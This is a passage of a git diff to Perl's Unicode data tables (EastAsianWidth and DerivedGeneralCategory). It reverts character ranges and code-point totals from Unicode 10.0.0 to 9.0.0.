ANUSVARA..MALAYALAM SIGN VISARGA 0D05..0D0C ; N # Lo [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L 0D0E..0D10 ; N # Lo [3] MALAYALAM LETTER E..MALAYALAM LETTER AI 0D12..0D3A ; N # Lo [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA -0D3B..0D3C ; N # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D3D ; N # Lo MALAYALAM SIGN AVAGRAHA 0D3E..0D40 ; N # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II 0D41..0D44 ; N # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR @@ -720,7 +715,6 @@ 1CF2..1CF3 ; N # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF4 ; N # Mn VEDIC TONE CANDRA ABOVE 1CF5..1CF6 ; N # Lo [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA -1CF7 ; N # Mc VEDIC SIGN ATIKRAMA 1CF8..1CF9 ; N # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE 1D00..1D2B ; N # L& [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL 1D2C..1D6A ; N # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI @@ -728,7 +722,7 @@ 1D78 ; N # Lm MODIFIER LETTER CYRILLIC EN 1D79..1D9A ; N # L& [34] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK 1D9B..1DBF ; N # Lm [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA -1DC0..1DF9 ; N # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; N # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; N # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 1E00..1F15 ; N # L& [278] LATIN CAPITAL LETTER A WITH RING BELOW..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA 1F18..1F1D ; N # L& [6] GREEK CAPITAL LETTER EPSILON WITH PSILI..GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA @@ -801,7 +795,7 @@ 2090..209C ; N # Lm [13] LATIN SUBSCRIPT SMALL LETTER A..LATIN SUBSCRIPT SMALL LETTER T 20A0..20A8 ; N # Sc [9] EURO-CURRENCY SIGN..RUPEE SIGN 20AA..20AB ; N # Sc [2] NEW SHEQEL SIGN..DONG SIGN -20AD..20BF ; N # Sc [19] KIP SIGN..BITCOIN SIGN +20AD..20BE ; N # Sc [18] KIP SIGN..LARI SIGN 20D0..20DC ; N # Mn [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE 20DD..20E0 ; N # Me [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH 20E1 ; N # Mn COMBINING LEFT RIGHT ARROW ABOVE @@ -913,7 +907,8 @@ 23E2..23E8 ; N # So [7] WHITE TRAPEZIUM..DECIMAL EXPONENT SYMBOL 23ED..23EF ; N # So [3] BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR..BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR 23F1..23F2 ; N # So [2] STOPWATCH..TIMER CLOCK -23F4..2426 ; N # So [51] BLACK MEDIUM LEFT-POINTING TRIANGLE..SYMBOL FOR SUBSTITUTE FORM TWO +23F4..23FE ; N # So [11] BLACK MEDIUM LEFT-POINTING TRIANGLE..POWER SLEEP SYMBOL +2400..2426 ; N # So [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO 2440..244A ; N # So [11] OCR HOOK..OCR DOUBLE BACKSLASH 24EA ; N # No CIRCLED DIGIT ZERO 254C..254F ; N # So [4] BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL..BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL @@ -1032,7 +1027,7 @@ 2B76..2B95 ; N # So [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW 2B98..2BB9 ; N # So [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX 2BBD..2BC8 ; N # So [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED -2BCA..2BD2 ; N # So [9] TOP HALF BLACK CIRCLE..GROUP MARK +2BCA..2BD1 ; N # So [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN 2BEC..2BEF ; N # So [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS 2C00..2C2E ; N # L& [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE 2C30..2C5E ; N # L& [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE @@ -1100,7 +1095,7 @@ 2E40 ; N # Pd DOUBLE HYPHEN 2E41 ; N # Po REVERSED COMMA 2E42 ; N # Ps DOUBLE LOW-REVERSED-9 QUOTATION MARK -2E43..2E49 ; N # Po [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA +2E43..2E44 ; N # Po [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK 303F ; N # So IDEOGRAPHIC HALF FILL SPACE 4DC0..4DFF ; N # So [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION A4D0..A4F7 ; N # Lo [40] LISU LETTER BA..LISU LETTER OE @@ -1316,7 +1311,7 @@ FFFC ; N # So OBJECT REPLACEMENT CHARACTER 102E1..102FB ; N # No [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED 10300..1031F ; N # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS 10320..10323 ; N # No [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY -1032D..10340 ; N # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; N # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; N # Nl GOTHIC LETTER NINETY 10342..10349 ; N # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; N # Nl GOTHIC LETTER NINE HUNDRED @@ -1559,28 +1554,6 @@ FFFC ; N # So OBJECT REPLACEMENT CHARACTER 118E0..118E9 ; N # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 118EA..118F2 ; N # No [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY 118FF ; N # Lo WARANG CITI OM -11A00 ; N # Lo ZANABAZAR SQUARE LETTER A -11A01..11A06 ; N # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; N # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; N # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A0B..11A32 ; N # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A33..11A38 ; N # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; N # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A ; N # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3B..11A3E ; N # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A3F..11A46 ; N # Po [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK -11A47 ; N # Mn ZANABAZAR SQUARE SUBJOINER -11A50 ; N # Lo SOYOMBO LETTER A -11A51..11A56 ; N # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; N # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; N # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A5C..11A83 ; N # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; N # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A8A..11A96 ; N # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; N # Mc SOYOMBO SIGN VISARGA -11A98..11A99 ; N # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER -11A9A..11A9C ; N # Po [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD -11A9E..11AA2 ; N # Po [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2 11AC0..11AF8 ; N # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; N # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; N # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA @@ -1602,16 +1575,6 @@ FFFC ; N # So OBJECT REPLACEMENT CHARACTER 11CB2..11CB3 ; N # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; N # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6 ; N # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D00..11D06 ; N # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; N # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; N # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D31..11D36 ; N # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; N # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; N # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; N # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D46 ; N # Lo MASARAM GONDI REPHA -11D47 ; N # Mn MASARAM GONDI RA-KARA -11D50..11D59 ; N # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 12000..12399 ; N # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; N # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12470..12474 ; N # Po [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON @@ -1798,7 +1761,6 @@ FFFC ; N # So OBJECT REPLACEMENT CHARACTER 1F650..1F67F ; N # So [48] NORTH WEST POINTING LEAF..REVERSE CHECKER BOARD 1F6C6..1F6CB ; N # So [6] TRIANGLE WITH ROUNDED CORNERS..COUCH AND LAMP 1F6CD..1F6CF ; N # So [3] SHOPPING BAGS..BED -1F6D3..1F6D4 ; N # So [2] STUPA..PAGODA 1F6E0..1F6EA ; N # So [11] HAMMER AND WRENCH..NORTHEAST-POINTING AIRPLANE 1F6F0..1F6F3 ; N # So [4] SATELLITE..PASSENGER SHIP 1F700..1F773 ; N # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE @@ -1808,12 +1770,11 @@ FFFC ; N # So OBJECT REPLACEMENT CHARACTER 1F850..1F859 ; N # So [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW 1F860..1F887 ; N # So [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW 1F890..1F8AD ; N # So [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS -1F900..1F90B ; N # So [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT E0001 ; N # Cf LANGUAGE TAG E0020..E007F ; N # Cf [96] TAG SPACE..CANCEL TAG -# The above property value applies to 769609 code points not listed here. -# Total code points: 793401 +# The above property value applies to 770633 code points not listed here. +# Total code points: 794146 # ================================================ @@ -2137,7 +2098,7 @@ FFED..FFEE ; H # So [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE 30FB ; W # Po KATAKANA MIDDLE DOT 30FC..30FE ; W # Lm [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK 30FF ; W # Lo KATAKANA DIGRAPH KOTO -3105..312E ; W # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; W # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; W # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 3190..3191 ; W # So [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK 3192..3195 ; W # No [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK @@ -2158,8 +2119,8 @@ FFED..FFEE ; H # So [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE 3300..33FF ; W # So [256] SQUARE APAATO..SQUARE GAL 3400..4DB5 ; W # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 4DB6..4DBF ; W # Cn [10] .. -4E00..9FEA ; W # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA -9FEB..9FFF ; W # Cn [21] .. +4E00..9FD5 ; W # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 +9FD6..9FFF ; W # Cn [42] .. A000..A014 ; W # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015 ; W # Lm YI SYLLABLE WU A016..A48C ; W # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -2214,11 +2175,10 @@ FE64..FE66 ; W # Sm [3] SMALL LESS-THAN SIGN..SMALL EQUALS SIGN FE68 ; W # Po SMALL REVERSE SOLIDUS FE69 ; W # Sc SMALL DOLLAR SIGN FE6A..FE6B ; W # Po [2] SMALL PERCENT SIGN..SMALL COMMERCIAL AT -16FE0..16FE1 ; W # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; W # Lm TANGUT ITERATION MARK 17000..187EC ; W # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; W # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; W # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; W # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; W # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1F004 ; W # So MAHJONG TILE RED DRAGON 1F0CF ; W # So PLAYING CARD BLACK JOKER 1F18E ; W # So NEGATIVE SQUARED AB @@ -2227,7 +2187,6 @@ FE6A..FE6B ; W # Po [2] SMALL PERCENT SIGN..SMALL COMMERCIAL AT 1F210..1F23B ; W # So [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D 1F240..1F248 ; W # So [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 1F250..1F251 ; W # So [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT -1F260..1F265 ; W # So [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI 1F300..1F320 ; W # So [33] CYCLONE..SHOOTING STAR 1F32D..1F335 ; W # So [9] HOT DOG..CACTUS 1F337..1F37C ; W # So [70] TULIP..BABY BOTTLE @@ -2252,13 +2211,15 @@ FE6A..FE6B ; W # Po [2] SMALL PERCENT SIGN..SMALL COMMERCIAL AT 1F6CC ; W # So SLEEPING ACCOMMODATION 1F6D0..1F6D2 ; W # So [3] PLACE OF WORSHIP..SHOPPING TROLLEY 1F6EB..1F6EC ; W # So [2] AIRPLANE DEPARTURE..AIRPLANE ARRIVING -1F6F4..1F6F8 ; W # So [5] SCOOTER..FLYING SAUCER -1F910..1F93E ; W # So [47] ZIPPER-MOUTH FACE..HANDBALL -1F940..1F94C ; W # So [13] WILTED FLOWER..CURLING STONE -1F950..1F96B ; W # So [28] CROISSANT..CANNED FOOD -1F980..1F997 ; W # So [24] CRAB..CRICKET +1F6F4..1F6F6 ; W # So [3] SCOOTER..CANOE +1F910..1F91E ; W # So [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED +1F920..1F927 ; W # So [8] FACE WITH COWBOY HAT..SNEEZING FACE +1F930 ; W # So PREGNANT WOMAN +1F933..1F93E ; W # So [12] SELFIE..HANDBALL +1F940..1F94B ; W # So [12] WILTED FLOWER..MARTIAL ARTS UNIFORM +1F950..1F95E ; W # So [15] CROISSANT..PANCAKES +1F980..1F991 ; W # So [18] CRAB..SQUID 1F9C0 ; W # So CHEESE WEDGE -1F9D0..1F9E6 ; W # So [23] FACE WITH MONOCLE..SOCKS 20000..2A6D6 ; W # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6 2A6D7..2A6FF ; W # Cn [41] .. 2A700..2B734 ; W # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 @@ -2266,14 +2227,12 @@ FE6A..FE6B ; W # Po [2] SMALL PERCENT SIGN..SMALL COMMERCIAL AT 2B740..2B81D ; W # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B81E..2B81F ; W # Cn [2] .. 2B820..2CEA1 ; W # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEA2..2CEAF ; W # Cn [14] .. -2CEB0..2EBE0 ; W # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 -2EBE1..2F7FF ; W # Cn [3103] .. +2CEA2..2F7FF ; W # Cn [10590] .. 2F800..2FA1D ; W # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D 2FA1E..2FFFD ; W # Cn [1504] .. 30000..3FFFD ; W # Cn [65534] .. -# Total code points: 181634 +# Total code points: 180889 # ================================================ diff --git a/lib/unicore/extracted/DGeneralCategory.txt b/lib/unicore/extracted/DGeneralCategory.txt index bc7f5e84ea07..96dfb56f0e1f 100644 --- a/lib/unicore/extracted/DGeneralCategory.txt +++ b/lib/unicore/extracted/DGeneralCategory.txt @@ -1,6 +1,6 @@ -# DerivedGeneralCategory-10.0.0.txt -# Date: 2017-03-08, 08:41:49 GMT -# © 2017 Unicode®, Inc. +# DerivedGeneralCategory-9.0.0.txt +# Date: 2016-06-01, 10:34:26 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -37,8 +37,7 @@ 082E..082F ; Cn # [2] .. 083F ; Cn # 085C..085D ; Cn # [2] .. -085F ; Cn # -086B..089F ; Cn # [53] .. +085F..089F ; Cn # [65] .. 08B5 ; Cn # 08BE..08D3 ; Cn # [22] .. 0984 ; Cn # @@ -54,7 +53,7 @@ 09D8..09DB ; Cn # [4] .. 09DE ; Cn # 09E4..09E5 ; Cn # [2] .. -09FE..0A00 ; Cn # [3] .. +09FC..0A00 ; Cn # [5] .. 0A04 ; Cn # 0A0B..0A0E ; Cn # [4] .. 0A11..0A12 ; Cn # [2] .. @@ -84,7 +83,7 @@ 0AD1..0ADF ; Cn # [15] .. 0AE4..0AE5 ; Cn # [2] .. 0AF2..0AF8 ; Cn # [7] .. -0B00 ; Cn # +0AFA..0B00 ; Cn # [7] .. 0B04 ; Cn # 0B0D..0B0E ; Cn # [2] .. 0B11..0B12 ; Cn # [2] .. @@ -140,10 +139,11 @@ 0CDF ; Cn # 0CE4..0CE5 ; Cn # [2] .. 0CF0 ; Cn # -0CF3..0CFF ; Cn # [13] .. +0CF3..0D00 ; Cn # [14] .. 0D04 ; Cn # 0D0D ; Cn # 0D11 ; Cn # +0D3B..0D3C ; Cn # [2] .. 0D45 ; Cn # 0D49 ; Cn # 0D50..0D53 ; Cn # [4] .. @@ -250,8 +250,9 @@ 1C4A..1C4C ; Cn # [3] .. 1C89..1CBF ; Cn # [55] .. 1CC8..1CCF ; Cn # [8] .. +1CF7 ; Cn # 1CFA..1CFF ; Cn # [6] .. -1DFA ; Cn # +1DF6..1DFA ; Cn # [5] .. 1F16..1F17 ; Cn # [2] .. 1F1E..1F1F ; Cn # [2] .. 1F46..1F47 ; Cn # [2] .. @@ -272,16 +273,17 @@ 2072..2073 ; Cn # [2] .. 208F ; Cn # 209D..209F ; Cn # [3] .. -20C0..20CF ; Cn # [16] .. +20BF..20CF ; Cn # [17] .. 20F1..20FF ; Cn # [15] .. 218C..218F ; Cn # [4] .. +23FF ; Cn # 2427..243F ; Cn # [25] .. 244B..245F ; Cn # [21] .. 2B74..2B75 ; Cn # [2] .. 2B96..2B97 ; Cn # [2] .. 2BBA..2BBC ; Cn # [3] .. 2BC9 ; Cn # -2BD3..2BEB ; Cn # [25] .. +2BD2..2BEB ; Cn # [26] .. 2BF0..2BFF ; Cn # [16] .. 2C2F ; Cn # 2C5F ; Cn # @@ -300,7 +302,7 @@ 2DCF ; Cn # 2DD7 ; Cn # 2DDF ; Cn # -2E4A..2E7F ; Cn # [54] .. +2E45..2E7F ; Cn # [59] .. 2E9A ; Cn # 2EF4..2EFF ; Cn # [12] .. 2FD6..2FEF ; Cn # [26] .. @@ -308,14 +310,14 @@ 3040 ; Cn # 3097..3098 ; Cn # [2] .. 3100..3104 ; Cn # [5] .. -312F..3130 ; Cn # [2] .. +312E..3130 ; Cn # [3] .. 318F ; Cn # 31BB..31BF ; Cn # [5] .. 31E4..31EF ; Cn # [12] .. 321F ; Cn # 32FF ; Cn # 4DB6..4DBF ; Cn # [10] .. -9FEB..9FFF ; Cn # [21] .. +9FD6..9FFF ; Cn # [42] .. A48D..A48F ; Cn # [3] .. A4C7..A4CF ; Cn # [9] .. A62C..A63F ; Cn # [20] .. @@ -394,7 +396,7 @@ FFFE..FFFF ; Cn # [2] .. 1029D..1029F ; Cn # [3] .. 102D1..102DF ; Cn # [15] .. 102FC..102FF ; Cn # [4] .. -10324..1032C ; Cn # [9] .. +10324..1032F ; Cn # [12] .. 1034B..1034F ; Cn # [5] .. 1037B..1037F ; Cn # [5] .. 1039E ; Cn # @@ -498,11 +500,7 @@ FFFE..FFFF ; Cn # [2] .. 1172C..1172F ; Cn # [4] .. 11740..1189F ; Cn # [352] .. 118F3..118FE ; Cn # [12] .. -11900..119FF ; Cn # [256] .. -11A48..11A4F ; Cn # [8] .. -11A84..11A85 ; Cn # [2] .. -11A9D ; Cn # -11AA3..11ABF ; Cn # [29] .. +11900..11ABF ; Cn # [448] .. 11AF9..11BFF ; Cn # [263] .. 11C09 ; Cn # 11C37 ; Cn # @@ -510,14 +508,7 @@ FFFE..FFFF ; Cn # [2] .. 11C6D..11C6F ; Cn # [3] .. 11C90..11C91 ; Cn # [2] .. 11CA8 ; Cn # -11CB7..11CFF ; Cn # [73] .. -11D07 ; Cn # -11D0A ; Cn # -11D37..11D39 ; Cn # [3] .. -11D3B ; Cn # -11D3E ; Cn # -11D48..11D4F ; Cn # [8] .. -11D5A..11FFF ; Cn # [678] .. +11CB7..11FFF ; Cn # [841] .. 1239A..123FF ; Cn # [102] .. 1246F ; Cn # 12475..1247F ; Cn # [11] .. @@ -538,11 +529,10 @@ FFFE..FFFF ; Cn # [2] .. 16F45..16F4F ; Cn # [11] .. 16F7F..16F8E ; Cn # [16] .. 16FA0..16FDF ; Cn # [64] .. -16FE2..16FFF ; Cn # [30] .. +16FE1..16FFF ; Cn # [31] .. 187ED..187FF ; Cn # [19] .. 18AF3..1AFFF ; Cn # [9485] .. -1B11F..1B16F ; Cn # [81] .. -1B2FC..1BBFF ; Cn # [2308] .. +1B002..1BBFF ; Cn # [3070] .. 1BC6B..1BC6F ; Cn # [5] .. 1BC7D..1BC7F ; Cn # [3] .. 1BC89..1BC8F ; Cn # [7] .. @@ -634,30 +624,29 @@ FFFE..FFFF ; Cn # [2] .. 1F203..1F20F ; Cn # [13] .. 1F23C..1F23F ; Cn # [4] .. 1F249..1F24F ; Cn # [7] .. -1F252..1F25F ; Cn # [14] .. -1F266..1F2FF ; Cn # [154] .. -1F6D5..1F6DF ; Cn # [11] .. +1F252..1F2FF ; Cn # [174] .. +1F6D3..1F6DF ; Cn # [13] .. 1F6ED..1F6EF ; Cn # [3] .. -1F6F9..1F6FF ; Cn # [7] .. +1F6F7..1F6FF ; Cn # [9] .. 1F774..1F77F ; Cn # [12] .. 1F7D5..1F7FF ; Cn # [43] .. 1F80C..1F80F ; Cn # [4] .. 1F848..1F84F ; Cn # [8] .. 1F85A..1F85F ; Cn # [6] .. 1F888..1F88F ; Cn # [8] .. -1F8AE..1F8FF ; Cn # [82] .. -1F90C..1F90F ; Cn # [4] .. +1F8AE..1F90F ; Cn # [98] .. +1F91F ; Cn # +1F928..1F92F ; Cn # [8] .. +1F931..1F932 ; Cn # [2] .. 1F93F ; Cn # -1F94D..1F94F ; Cn # [3] .. -1F96C..1F97F ; Cn # [20] .. -1F998..1F9BF ; Cn # [40] .. -1F9C1..1F9CF ; Cn # [15] .. -1F9E7..1FFFF ; Cn # [1561] .. +1F94C..1F94F ; Cn # [4] .. +1F95F..1F97F ; Cn # [33] .. +1F992..1F9BF ; Cn # [46] .. +1F9C1..1FFFF ; Cn # [1599] .. 2A6D7..2A6FF ; Cn # [41] .. 2B735..2B73F ; Cn # [11] .. 2B81E..2B81F ; Cn # [2] .. -2CEA2..2CEAF ; Cn # [14] .. -2EBE1..2F7FF ; Cn # [3103] .. +2CEA2..2F7FF ; Cn # [10590] .. 2FA1E..E0000 ; Cn # [722403] .. E0002..E001F ; Cn # [30] .. E0080..E00FF ; Cn # [128] .. @@ -665,7 +654,7 @@ E01F0..EFFFF ; Cn # [65040] .. FFFFE..FFFFF ; Cn # [2] .. 10FFFE..10FFFF; Cn # [2] .. -# Total code points: 837841 +# Total code points: 846359 # ================================================ @@ -2018,9 +2007,9 @@ FF70 ; Lm # HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK FF9E..FF9F ; Lm # [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK 16B40..16B43 ; Lm # [4] PAHAWH HMONG SIGN VOS SEEV..PAHAWH HMONG SIGN IB YAM 16F93..16F9F ; Lm # [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; Lm # [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; Lm # TANGUT ITERATION MARK -# Total code points: 250 +# Total code points: 249 # ================================================ @@ -2048,7 +2037,6 @@ FF9E..FF9F ; Lm # [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAK 07CA..07EA ; Lo # [33] NKO LETTER A..NKO LETTER JONA RA 0800..0815 ; Lo # [22] SAMARITAN LETTER ALAF..SAMARITAN LETTER TAAF 0840..0858 ; Lo # [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN -0860..086A ; Lo # [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; Lo # [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; Lo # [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 0904..0939 ; Lo # [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA @@ -2067,7 +2055,6 @@ FF9E..FF9F ; Lm # [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAK 09DC..09DD ; Lo # [2] BENGALI LETTER RRA..BENGALI LETTER RHA 09DF..09E1 ; Lo # [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL 09F0..09F1 ; 